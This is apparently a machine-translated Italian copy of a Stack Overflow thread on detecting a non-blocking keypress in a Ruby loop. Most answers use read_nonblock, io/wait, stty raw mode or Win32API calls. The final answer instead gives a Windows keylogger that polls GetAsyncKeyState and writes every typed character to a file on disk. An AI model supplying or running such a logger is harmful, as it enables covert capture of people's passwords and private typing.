2009-06-03 15 views
17

Ho un compito semplice che deve attendere che qualcosa cambi sul filesystem (è essenzialmente un compilatore per i prototipi). Quindi ho un semplice ciclo infinito con un sonno di 5 secondi dopo il controllo dei file modificati.Rileva tasto premuto (non bloccante) senza getc/entra in Ruby

loop do 
    # if files changed 
    # process files 
    # and puts result 
    sleep 5 
end 

Invece del Ctrl+C saluto, io preferirei essere in grado di verificare e vedere se un tasto è stato premuto, senza bloccare il ciclo. Essenzialmente ho solo bisogno di un modo per dire se ci sono pressioni dei tasti in arrivo, quindi un modo per afferrarle finché non viene raggiunto un Q, quindi uscire dal programma.

Quello che voglio è:

def wait_for_Q 
    key_is_pressed && get_ch == 'Q' 
end 

loop do 
    # if files changed 
    # process files 
    # and puts result 
    wait_for_Q or sleep 5 
end 

Oppure, si tratta di qualcosa di Ruby semplicemente non fare (bene)?

risposta

13

Ecco un modo per farlo, usando IO#read_nonblock:

def quit? 
    begin 
    # See if a 'Q' has been typed yet 
    while c = STDIN.read_nonblock(1) 
     puts "I found a #{c}" 
     return true if c == 'Q' 
    end 
    # No 'Q' found 
    false 
    rescue Errno::EINTR 
    puts "Well, your device seems a little slow..." 
    false 
    rescue Errno::EAGAIN 
    # nothing was ready to be read 
    puts "Nothing to be read..." 
    false 
    rescue EOFError 
    # quit on the end of the input stream 
    # (user hit CTRL-D) 
    puts "Who hit CTRL-D, really?" 
    true 
    end 
end 

loop do 
    puts "I'm a loop!" 
    puts "Checking to see if I should quit..." 
    break if quit? 
    puts "Nope, let's take a nap" 
    sleep 5 
    puts "Onto the next iteration!" 
end 

puts "Oh, I quit." 

Tenete a mente che anche se questo utilizza non bloccante IO, è ancora tamponata IO. Ciò significa che gli utenti dovranno colpire Q quindi <Enter>. Se vuoi fare l'IO senza buffer , ti suggerisco di consultare la libreria di curses di ruby.

+0

Purtroppo io sono su finestre, e questo genera :: EBADF Errno, o errore di bad-file. Indagherò le mie opzioni. –

+0

Prova a catturare EBADF con EINTR e EAGAIN- potrebbe essere solo un errore transitorio finché non digiti effettivamente un input (non sicuro, non su Windows) – rampion

+0

Posso fare lo stesso su C o PHP o Perl ?? qualsiasi codice là fuori? –

1

Si potrebbe anche voler esaminare la libreria 'io/wait' per Ruby che fornisce il metodo ready? a tutti gli oggetti IO. Non ho testato la tua situazione in modo specifico, ma la sto usando in una libreria basata su socket su cui sto lavorando. Nel tuo caso, se STDIN è solo un oggetto IO standard, probabilmente potresti lasciare il momento in cui ready? restituisce un risultato non nullo, a meno che tu non sia interessato a scoprire quale tasto è stato effettivamente premuto. Questa funzionalità può essere ottenuta tramite require 'io/wait', che fa parte della libreria standard di Ruby. Non sono sicuro che funzioni su tutti gli ambienti, ma vale la pena provarlo. Rdocs: http://ruby-doc.org/stdlib/libdoc/io/wait/rdoc/

9

È anche possibile farlo senza il buffer. Nei sistemi basati su Unix è facile:

system("stty raw -echo") #=> Raw mode, no echo 
char = STDIN.getc 
system("stty -raw echo") #=> Reset terminal mode 
puts char 

Questo attenderà che venga premuto un tasto e restituisca il codice. Non c'è bisogno di premere.

Metti il ​​char = STDIN.getc in un loop e ce l'hai!

Se siete su Windows, in base al modo in cui Ruby, è necessario o scrivere un'estensione in C o utilizzare questo piccolo trucco (anche se questo è stato scritto nel 2001, quindi ci potrebbe essere un modo migliore)

require 'Win32API' 
char = Win32API.new('crtdll','_getch', [], 'L').Call 

Ecco il mio riferimento: great book, if you don't own it you should

+3

Non capisco. Come è questo non bloccante? Aspetta il char. –

8

Una combinazione delle altre risposte ottiene il comportamento desiderato. Testato in Ruby 1.9.3 su OSX e Linux.

loop do 
    puts 'foo' 
    system("stty raw -echo") 
    char = STDIN.read_nonblock(1) rescue nil 
    system("stty -raw echo") 
    break if /q/i =~ char 
    sleep(2) 
end 
+0

Sebbene questa risposta sia utile, va notato che non cattura tutti gli errori che la risposta di @ rampion cattura e quegli errori non sono rari. – Seanny123

7

Combinando le varie soluzioni che ho appena letto, ho trovato un modo multipiattaforma per risolvere questo problema. Details here, ma qui è il pezzo di codice rilevante: un metodo GetKey.getkey che restituisce il codice ASCII o nil se nessuno è stato premuto.

Dovrebbe funzionare sia su Windows che su Unix.

module GetKey 

    # Check if Win32API is accessible or not 
    @use_stty = begin 
    require 'Win32API' 
    false 
    rescue LoadError 
    # Use Unix way 
    true 
    end 

    # Return the ASCII code last key pressed, or nil if none 
    # 
    # Return:: 
    # * _Integer_: ASCII code of the last key pressed, or nil if none 
    def self.getkey 
    if @use_stty 
     system('stty raw -echo') # => Raw mode, no echo 
     char = (STDIN.read_nonblock(1).ord rescue nil) 
     system('stty -raw echo') # => Reset terminal mode 
     return char 
    else 
     return Win32API.new('crtdll', '_kbhit', [ ], 'I').Call.zero? ? nil : Win32API.new('crtdll', '_getch', [ ], 'L').Call 
    end 
    end 

end 

E qui è un programma semplice per testarlo:

loop do 
    k = GetKey.getkey 
    puts "Key pressed: #{k.inspect}" 
    sleep 1 
end 

Nel link fornito sopra, mi mostra anche come utilizzare la libreria curses, ma il risultato diventa un po 'sgargianti su Windows.

0

Ora utilizzare questo

require 'Win32API' 

VK_SHIFT = 0x10 
VK_ESC = 0x1B 

def check_shifts() 
    $listener.call(VK_SHIFT) != 0 ? true : false 
end 

# create empty Hash of key codes 
keys = Hash.new 

# create empty Hash for shift characters 
uppercase = Hash.new 

# add letters 
(0x41..0x5A).each { |code| keys[code.chr.downcase] = code } 

# add numbers 
(0x30..0x39).each { |code| keys[code-0x30] = code } 

# add special characters 
keys[';'] = 0xBA; keys['='] = 0xBB; keys[','] = 0xBC; keys['-'] = 0xBD; keys['.'] = 0xBE 
keys['/'] = 0xBF; keys['`'] = 0xC0; keys['['] = 0xDB; keys[']'] = 0xDD; keys["'"] = 0xDE 
keys['\\'] = 0xDC 

# add custom key macros 
keys["\n"] = 0x0D; keys["\t"] = 0x09; keys['(backspace)'] = 0x08; keys['(CAPSLOCK)'] = 0x14 

# add for uppercase letters 
('a'..'z').each { |char| uppercase[char] = char.upcase } 

# add for uppercase numbers 
uppercase[1] = '!'; uppercase[2] = '@'; uppercase[3] = '#'; uppercase[4] = '$'; uppercase[5] = '%' 
uppercase[6] = '^'; uppercase[7] = '&'; uppercase[8] = '*'; uppercase[9] = '('; uppercase[0] = ')' 

# add for uppercase special characters 
uppercase[';'] = ':'; uppercase['='] = '+'; uppercase[','] = '<'; uppercase['-'] = '_'; uppercase['.'] = '>' 
uppercase['/'] = '?'; uppercase['`'] = '~'; uppercase['['] = '{'; uppercase[']'] = '}'; uppercase["'"] = '"' 
uppercase['\\'] = '|' 

# create a listener for Windows key-presses 
$listener = Win32API.new('user32', 'GetAsyncKeyState', ['i'], 'i') 

# call listener once to initialize lsb's 
keys.each_value { |code| $listener.call(code) } 

logs = File.open('C://kpkt.txt', 'a') 

while true 
    break if $listener.call(VK_ESC) != 0 

    keys.each do |char, code| 
     n = $listener.call(code) 
     if n and n & 0x01 == 1 
      check_shifts() ? logs.write("#{uppercase[char]}") : logs.write("#{char}") 
     end 
    end 
end 

logs.close() 
Problemi correlati